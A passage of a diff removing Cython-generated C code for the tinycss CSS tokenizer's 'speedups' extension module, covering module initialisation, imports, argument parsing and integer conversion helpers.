elif type_ == URI: - * value = match.group(1) # <<<<<<<<<<<<<< - * if value and value[0] in '"\'': - * value = value[1:-1] # Remove quotes - */ - __pyx_k_tuple_10 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_10)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 151; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_k_tuple_10)); - __Pyx_INCREF(__pyx_int_1); - PyTuple_SET_ITEM(__pyx_k_tuple_10, 0, __pyx_int_1); - __Pyx_GIVEREF(__pyx_int_1); - __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_10)); - __Pyx_RefNannyFinishContext(); - return 0; - __pyx_L1_error:; - __Pyx_RefNannyFinishContext(); - return -1; -} - -static int __Pyx_InitGlobals(void) { - if (__Pyx_InitStrings(__pyx_string_tab) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - return 0; - __pyx_L1_error:; - return -1; -} - -#if PY_MAJOR_VERSION < 3 -PyMODINIT_FUNC initspeedups(void); /*proto*/ -PyMODINIT_FUNC initspeedups(void) -#else -PyMODINIT_FUNC PyInit_speedups(void); /*proto*/ -PyMODINIT_FUNC PyInit_speedups(void) -#endif -{ - PyObject *__pyx_t_1 = NULL; - PyObject *__pyx_t_2 = NULL; - __Pyx_RefNannyDeclarations - #if CYTHON_REFNANNY - __Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); - if (!__Pyx_RefNanny) { - PyErr_Clear(); - __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); - if (!__Pyx_RefNanny) - Py_FatalError("failed to import 'refnanny' module"); - } - #endif - __Pyx_RefNannySetupContext("PyMODINIT_FUNC PyInit_speedups(void)"); - if ( __Pyx_check_binary_version() < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - #ifdef __pyx_binding_PyCFunctionType_USED - if (__pyx_binding_PyCFunctionType_init() < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - #endif - /*--- Library function declarations ---*/ - /*--- Threads initialization code ---*/ - #if defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS - #ifdef WITH_THREAD /* Python build with threading support? */ - PyEval_InitThreads(); - #endif - #endif - /*--- Module creation code ---*/ - #if PY_MAJOR_VERSION < 3 - __pyx_m = Py_InitModule4(__Pyx_NAMESTR("speedups"), __pyx_methods, __Pyx_DOCSTR(__pyx_k_12), 0, PYTHON_API_VERSION); - #else - __pyx_m = PyModule_Create(&__pyx_moduledef); - #endif - if (!__pyx_m) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - #if PY_MAJOR_VERSION < 3 - Py_INCREF(__pyx_m); - #endif - __pyx_b = PyImport_AddModule(__Pyx_NAMESTR(__Pyx_BUILTIN_MODULE_NAME)); - if (!__pyx_b) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - if (__Pyx_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - /*--- Initialize various global constants etc. ---*/ - if (unlikely(__Pyx_InitGlobals() < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (__pyx_module_is_main_tinycss__speedups) { - if (__Pyx_SetAttrString(__pyx_m, "__name__", __pyx_n_s____main__) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - } - /*--- Builtin init code ---*/ - if (unlikely(__Pyx_InitCachedBuiltins() < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - /*--- Constants init code ---*/ - if (unlikely(__Pyx_InitCachedConstants() < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - /*--- Global init code ---*/ - /*--- Variable export code ---*/ - /*--- Function export code ---*/ - /*--- Type init code ---*/ - if (PyType_Ready(&__pyx_type_7tinycss_8speedups_CToken) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 25; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (__Pyx_SetAttrString(__pyx_m, "CToken", (PyObject *)&__pyx_type_7tinycss_8speedups_CToken) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 25; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_ptype_7tinycss_8speedups_CToken = &__pyx_type_7tinycss_8speedups_CToken; - if (PyType_Ready(&__pyx_Generator_type) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_ptype_7tinycss_8speedups___pyx_Generator = &__pyx_Generator_type; - __pyx_type_7tinycss_8speedups___pyx_scope_struct__genexpr.tp_base = __pyx_ptype_7tinycss_8speedups___pyx_Generator; - if (PyType_Ready(&__pyx_type_7tinycss_8speedups___pyx_scope_struct__genexpr) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_ptype_7tinycss_8speedups___pyx_scope_struct__genexpr = &__pyx_type_7tinycss_8speedups___pyx_scope_struct__genexpr; - /*--- Type import code ---*/ - /*--- Variable import code ---*/ - /*--- Function import code ---*/ - /*--- Execution code ---*/ - - /* "tinycss/speedups.pyx":17 - * - * from .token_data import ( - * COMPILED_TOKEN_REGEXPS, UNICODE_UNESCAPE, NEWLINE_UNESCAPE, # <<<<<<<<<<<<<< - * SIMPLE_UNESCAPE, FIND_NEWLINES, TOKEN_DISPATCH) - * - */ - __pyx_t_1 = PyList_New(6); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 17; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_1)); - __Pyx_INCREF(((PyObject *)__pyx_n_s_1)); - PyList_SET_ITEM(__pyx_t_1, 0, ((PyObject *)__pyx_n_s_1)); - __Pyx_GIVEREF(((PyObject *)__pyx_n_s_1)); - __Pyx_INCREF(((PyObject *)__pyx_n_s__UNICODE_UNESCAPE)); - PyList_SET_ITEM(__pyx_t_1, 1, ((PyObject *)__pyx_n_s__UNICODE_UNESCAPE)); - __Pyx_GIVEREF(((PyObject *)__pyx_n_s__UNICODE_UNESCAPE)); - __Pyx_INCREF(((PyObject *)__pyx_n_s__NEWLINE_UNESCAPE)); - PyList_SET_ITEM(__pyx_t_1, 2, ((PyObject *)__pyx_n_s__NEWLINE_UNESCAPE)); - __Pyx_GIVEREF(((PyObject *)__pyx_n_s__NEWLINE_UNESCAPE)); - __Pyx_INCREF(((PyObject *)__pyx_n_s__SIMPLE_UNESCAPE)); - PyList_SET_ITEM(__pyx_t_1, 3, ((PyObject *)__pyx_n_s__SIMPLE_UNESCAPE)); - __Pyx_GIVEREF(((PyObject *)__pyx_n_s__SIMPLE_UNESCAPE)); - __Pyx_INCREF(((PyObject *)__pyx_n_s__FIND_NEWLINES)); - PyList_SET_ITEM(__pyx_t_1, 4, ((PyObject *)__pyx_n_s__FIND_NEWLINES)); - __Pyx_GIVEREF(((PyObject *)__pyx_n_s__FIND_NEWLINES)); - __Pyx_INCREF(((PyObject *)__pyx_n_s__TOKEN_DISPATCH)); - PyList_SET_ITEM(__pyx_t_1, 5, ((PyObject *)__pyx_n_s__TOKEN_DISPATCH)); - __Pyx_GIVEREF(((PyObject *)__pyx_n_s__TOKEN_DISPATCH)); - __pyx_t_2 = __Pyx_Import(((PyObject *)__pyx_n_s__token_data), ((PyObject *)__pyx_t_1), 1); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 16; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0; - __pyx_t_1 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s_1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 16; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s_1, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 17; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s__UNICODE_UNESCAPE); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 16; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s__UNICODE_UNESCAPE, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 17; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s__NEWLINE_UNESCAPE); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 16; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s__NEWLINE_UNESCAPE, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 17; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s__SIMPLE_UNESCAPE); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 16; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s__SIMPLE_UNESCAPE, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 18; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s__FIND_NEWLINES); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 16; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s__FIND_NEWLINES, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 18; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s__TOKEN_DISPATCH); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 16; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s__TOKEN_DISPATCH, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 18; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - - /* "tinycss/speedups.pyx":22 - * - * COMPILED_TOKEN_INDEXES = dict( - * (name, i) for i, (name, regexp) in enumerate(COMPILED_TOKEN_REGEXPS)) # <<<<<<<<<<<<<< - * - * - */ - __pyx_t_2 = __pyx_pf_7tinycss_8speedups_1genexpr(NULL, NULL); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 21; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_1)); - PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); - __Pyx_GIVEREF(__pyx_t_2); - __pyx_t_2 = 0; - __pyx_t_2 = PyObject_Call(((PyObject *)((PyObject*)(&PyDict_Type))), ((PyObject *)__pyx_t_1), NULL); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 21; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0; - if (PyObject_SetAttr(__pyx_m, __pyx_n_s_4, __pyx_t_2) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 21; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - - /* "tinycss/speedups.pyx":30 - * - * """ - * is_container = False # <<<<<<<<<<<<<< - * - * cdef public object type, _as_css, value, unit - */ - __pyx_t_2 = __Pyx_PyBool_FromLong(0); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 30; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem((PyObject *)__pyx_ptype_7tinycss_8speedups_CToken->tp_dict, __pyx_n_s__is_container, __pyx_t_2) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 30; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - PyType_Modified(__pyx_ptype_7tinycss_8speedups_CToken); - - /* "tinycss/speedups.pyx":55 - * - * - * def tokenize_flat(css_source, int ignore_comments=1): # <<<<<<<<<<<<<< - * """ - * :param css_source: - */ - __pyx_t_2 = PyCFunction_NewEx(&__pyx_mdef_7tinycss_8speedups_tokenize_flat, NULL, __pyx_n_s_13); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 55; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_2); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s__tokenize_flat, __pyx_t_2) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 55; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - - /* "tinycss/speedups.pyx":1 - * # coding: utf8 # <<<<<<<<<<<<<< - * """ - * tinycss.speedups - */ - __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_2)); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s____test__, ((PyObject *)__pyx_t_2)) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(((PyObject *)__pyx_t_2)); __pyx_t_2 = 0; - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_XDECREF(__pyx_t_1); - __Pyx_XDECREF(__pyx_t_2); - if (__pyx_m) { - __Pyx_AddTraceback("init tinycss.speedups", __pyx_clineno, __pyx_lineno, __pyx_filename); - Py_DECREF(__pyx_m); __pyx_m = 0; - } else if (!PyErr_Occurred()) { - PyErr_SetString(PyExc_ImportError, "init tinycss.speedups"); - } - __pyx_L0:; - __Pyx_RefNannyFinishContext(); - #if PY_MAJOR_VERSION < 3 - return; - #else - return __pyx_m; - #endif -} - -/* Runtime support code */ - -#if CYTHON_REFNANNY -static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { - PyObject *m = NULL, *p = NULL; - void *r = NULL; - m = PyImport_ImportModule((char *)modname); - if (!m) goto end; - p = PyObject_GetAttrString(m, (char *)"RefNannyAPI"); - if (!p) goto end; - r = PyLong_AsVoidPtr(p); -end: - Py_XDECREF(p); - Py_XDECREF(m); - return (__Pyx_RefNannyAPIStruct *)r; -} -#endif /* CYTHON_REFNANNY */ - -static PyObject *__Pyx_GetName(PyObject *dict, PyObject *name) { - PyObject *result; - result = PyObject_GetAttr(dict, name); - if (!result) { - if (dict != __pyx_b) { - PyErr_Clear(); - result = PyObject_GetAttr(__pyx_b, name); - } - if (!result) { - PyErr_SetObject(PyExc_NameError, name); - } - } - return result; -} - -static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index) { - PyErr_Format(PyExc_ValueError, - "need more than %"PY_FORMAT_SIZE_T"d value%s to unpack", - index, (index == 1) ? "" : "s"); -} - -static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected) { - PyErr_Format(PyExc_ValueError, - "too many values to unpack (expected %"PY_FORMAT_SIZE_T"d)", expected); -} - -static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected) { - if (unlikely(retval)) { - Py_DECREF(retval); - __Pyx_RaiseTooManyValuesError(expected); - return -1; - } else if (PyErr_Occurred()) { - if (likely(PyErr_ExceptionMatches(PyExc_StopIteration))) { - PyErr_Clear(); - return 0; - } else { - return -1; - } - } - return 0; -} - -static void __Pyx_RaiseArgtupleInvalid( - const char* func_name, - int exact, - Py_ssize_t num_min, - Py_ssize_t num_max, - Py_ssize_t num_found) -{ - Py_ssize_t num_expected; - const char *more_or_less; - - if (num_found < num_min) { - num_expected = num_min; - more_or_less = "at least"; - } else { - num_expected = num_max; - more_or_less = "at most"; - } - if (exact) { - more_or_less = "exactly"; - } - PyErr_Format(PyExc_TypeError, - "%s() takes %s %"PY_FORMAT_SIZE_T"d positional argument%s (%"PY_FORMAT_SIZE_T"d given)", - func_name, more_or_less, num_expected, - (num_expected == 1) ? "" : "s", num_found); -} - -static void __Pyx_RaiseDoubleKeywordsError( - const char* func_name, - PyObject* kw_name) -{ - PyErr_Format(PyExc_TypeError, - #if PY_MAJOR_VERSION >= 3 - "%s() got multiple values for keyword argument '%U'", func_name, kw_name); - #else - "%s() got multiple values for keyword argument '%s'", func_name, - PyString_AS_STRING(kw_name)); - #endif -} - -static int __Pyx_ParseOptionalKeywords( - PyObject *kwds, - PyObject **argnames[], - PyObject *kwds2, - PyObject *values[], - Py_ssize_t num_pos_args, - const char* function_name) -{ - PyObject *key = 0, *value = 0; - Py_ssize_t pos = 0; - PyObject*** name; - PyObject*** first_kw_arg = argnames + num_pos_args; - - while (PyDict_Next(kwds, &pos, &key, &value)) { - name = first_kw_arg; - while (*name && (**name != key)) name++; - if (*name) { - values[name-argnames] = value; - } else { - #if PY_MAJOR_VERSION < 3 - if (unlikely(!PyString_CheckExact(key)) && unlikely(!PyString_Check(key))) { - #else - if (unlikely(!PyUnicode_CheckExact(key)) && unlikely(!PyUnicode_Check(key))) { - #endif - goto invalid_keyword_type; - } else { - for (name = first_kw_arg; *name; name++) { - #if PY_MAJOR_VERSION >= 3 - if (PyUnicode_GET_SIZE(**name) == PyUnicode_GET_SIZE(key) && - PyUnicode_Compare(**name, key) == 0) break; - #else - if (PyString_GET_SIZE(**name) == PyString_GET_SIZE(key) && - _PyString_Eq(**name, key)) break; - #endif - } - if (*name) { - values[name-argnames] = value; - } else { - /* unexpected keyword found */ - for (name=argnames; name != first_kw_arg; name++) { - if (**name == key) goto arg_passed_twice; - #if PY_MAJOR_VERSION >= 3 - if (PyUnicode_GET_SIZE(**name) == PyUnicode_GET_SIZE(key) && - PyUnicode_Compare(**name, key) == 0) goto arg_passed_twice; - #else - if (PyString_GET_SIZE(**name) == PyString_GET_SIZE(key) && - _PyString_Eq(**name, key)) goto arg_passed_twice; - #endif - } - if (kwds2) { - if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; - } else { - goto invalid_keyword; - } - } - } - } - } - return 0; -arg_passed_twice: - __Pyx_RaiseDoubleKeywordsError(function_name, **name); - goto bad; -invalid_keyword_type: - PyErr_Format(PyExc_TypeError, - "%s() keywords must be strings", function_name); - goto bad; -invalid_keyword: - PyErr_Format(PyExc_TypeError, - #if PY_MAJOR_VERSION < 3 - "%s() got an unexpected keyword argument '%s'", - function_name, PyString_AsString(key)); - #else - "%s() got an unexpected keyword argument '%U'", - function_name, key); - #endif -bad: - return -1; -} - - -static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname) { - PyErr_Format(PyExc_UnboundLocalError, "local variable '%s' referenced before assignment", varname); -} - -static double __Pyx__PyObject_AsDouble(PyObject* obj) { - PyObject* float_value; - if (Py_TYPE(obj)->tp_as_number && Py_TYPE(obj)->tp_as_number->nb_float) { - return PyFloat_AsDouble(obj); - } else if (PyUnicode_CheckExact(obj) || PyBytes_CheckExact(obj)) { -#if PY_MAJOR_VERSION >= 3 - float_value = PyFloat_FromString(obj); -#else - float_value = PyFloat_FromString(obj, 0); -#endif - } else { - PyObject* args = PyTuple_New(1); - if (unlikely(!args)) goto bad; - PyTuple_SET_ITEM(args, 0, obj); - float_value = PyObject_Call((PyObject*)&PyFloat_Type, args, 0); - PyTuple_SET_ITEM(args, 0, 0); - Py_DECREF(args); - } - if (likely(float_value)) { - double value = PyFloat_AS_DOUBLE(float_value); - Py_DECREF(float_value); - return value; - } -bad: - return (double)-1; -} - -static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, long level) { - PyObject *py_import = 0; - PyObject *empty_list = 0; - PyObject *module = 0; - PyObject *global_dict = 0; - PyObject *empty_dict = 0; - PyObject *list; - py_import = __Pyx_GetAttrString(__pyx_b, "__import__"); - if (!py_import) - goto bad; - if (from_list) - list = from_list; - else { - empty_list = PyList_New(0); - if (!empty_list) - goto bad; - list = empty_list; - } - global_dict = PyModule_GetDict(__pyx_m); - if (!global_dict) - goto bad; - empty_dict = PyDict_New(); - if (!empty_dict) - goto bad; - #if PY_VERSION_HEX >= 0x02050000 - { - PyObject *py_level = PyInt_FromLong(level); - if (!py_level) - goto bad; - module = PyObject_CallFunctionObjArgs(py_import, - name, global_dict, empty_dict, list, py_level, NULL); - Py_DECREF(py_level); - } - #else - if (level>0) { - PyErr_SetString(PyExc_RuntimeError, "Relative import is not supported for Python <=2.4."); - goto bad; - } - module = PyObject_CallFunctionObjArgs(py_import, - name, global_dict, empty_dict, list, NULL); - #endif -bad: - Py_XDECREF(empty_list); - Py_XDECREF(py_import); - Py_XDECREF(empty_dict); - return module; -} - -static CYTHON_INLINE unsigned char __Pyx_PyInt_AsUnsignedChar(PyObject* x) { - const unsigned char neg_one = (unsigned char)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(unsigned char) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(unsigned char)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to unsigned char" : - "value too large to convert to unsigned char"); - } - return (unsigned char)-1; - } - return (unsigned char)val; - } - return (unsigned char)__Pyx_PyInt_AsUnsignedLong(x); -} - -static CYTHON_INLINE unsigned short __Pyx_PyInt_AsUnsignedShort(PyObject* x) { - const unsigned short neg_one = (unsigned short)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(unsigned short) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(unsigned short)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to unsigned short" : - "value too large to convert to unsigned short"); - } - return (unsigned short)-1; - } - return (unsigned short)val; - } - return (unsigned short)__Pyx_PyInt_AsUnsignedLong(x); -} - -static CYTHON_INLINE unsigned int __Pyx_PyInt_AsUnsignedInt(PyObject* x) { - const unsigned int neg_one = (unsigned int)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(unsigned int) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(unsigned int)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to unsigned int" : - "value too large to convert to unsigned int"); - } - return (unsigned int)-1; - } - return (unsigned int)val; - } - return (unsigned int)__Pyx_PyInt_AsUnsignedLong(x); -} - -static CYTHON_INLINE char __Pyx_PyInt_AsChar(PyObject* x) { - const char neg_one = (char)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(char) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(char)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to char" : - "value too large to convert to char"); - } - return (char)-1; - } - return (char)val; - } - return (char)__Pyx_PyInt_AsLong(x); -} - -static CYTHON_INLINE short __Pyx_PyInt_AsShort(PyObject* x) { - const short neg_one = (short)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(short) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(short)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to short" : - "value too large to convert to short"); - } - return (short)-1; - } - return (short)val; - } - return (short)__Pyx_PyInt_AsLong(x); -} - -static CYTHON_INLINE int __Pyx_PyInt_AsInt(PyObject* x) { - const int neg_one = (int)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(int) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(int)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to int" : - "value too large to convert to int"); - } - return (int)-1; - } - return (int)val; - } - return (int)__Pyx_PyInt_AsLong(x); -} - -static CYTHON_INLINE signed char __Pyx_PyInt_AsSignedChar(PyObject* x) { - const signed char neg_one = (signed char)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(signed char) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(signed char)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to signed char" : - "value too large to convert to signed char"); - } - return (signed char)-1; - } - return (signed char)val; - } - return (signed char)__Pyx_PyInt_AsSignedLong(x); -} - -static CYTHON_INLINE signed short __Pyx_PyInt_AsSignedShort(PyObject* x) { - const signed short neg_one = (signed short)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(signed short) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(signed short)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to signed short" : - "value too large to convert to signed short"); - } - return (signed short)-1; - } - return (signed short)val; - } - return (signed short)__Pyx_PyInt_AsSignedLong(x); -} - -static CYTHON_INLINE signed int __Pyx_PyInt_AsSignedInt(PyObject* x) { - const signed int neg_one = (signed int)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(signed int) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(signed int)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to signed int" : - "value too large to convert to signed int"); - } - return (signed int)-1; - } - return (signed int)val; - } - return (signed int)__Pyx_PyInt_AsSignedLong(x); -} - -static CYTHON_INLINE int 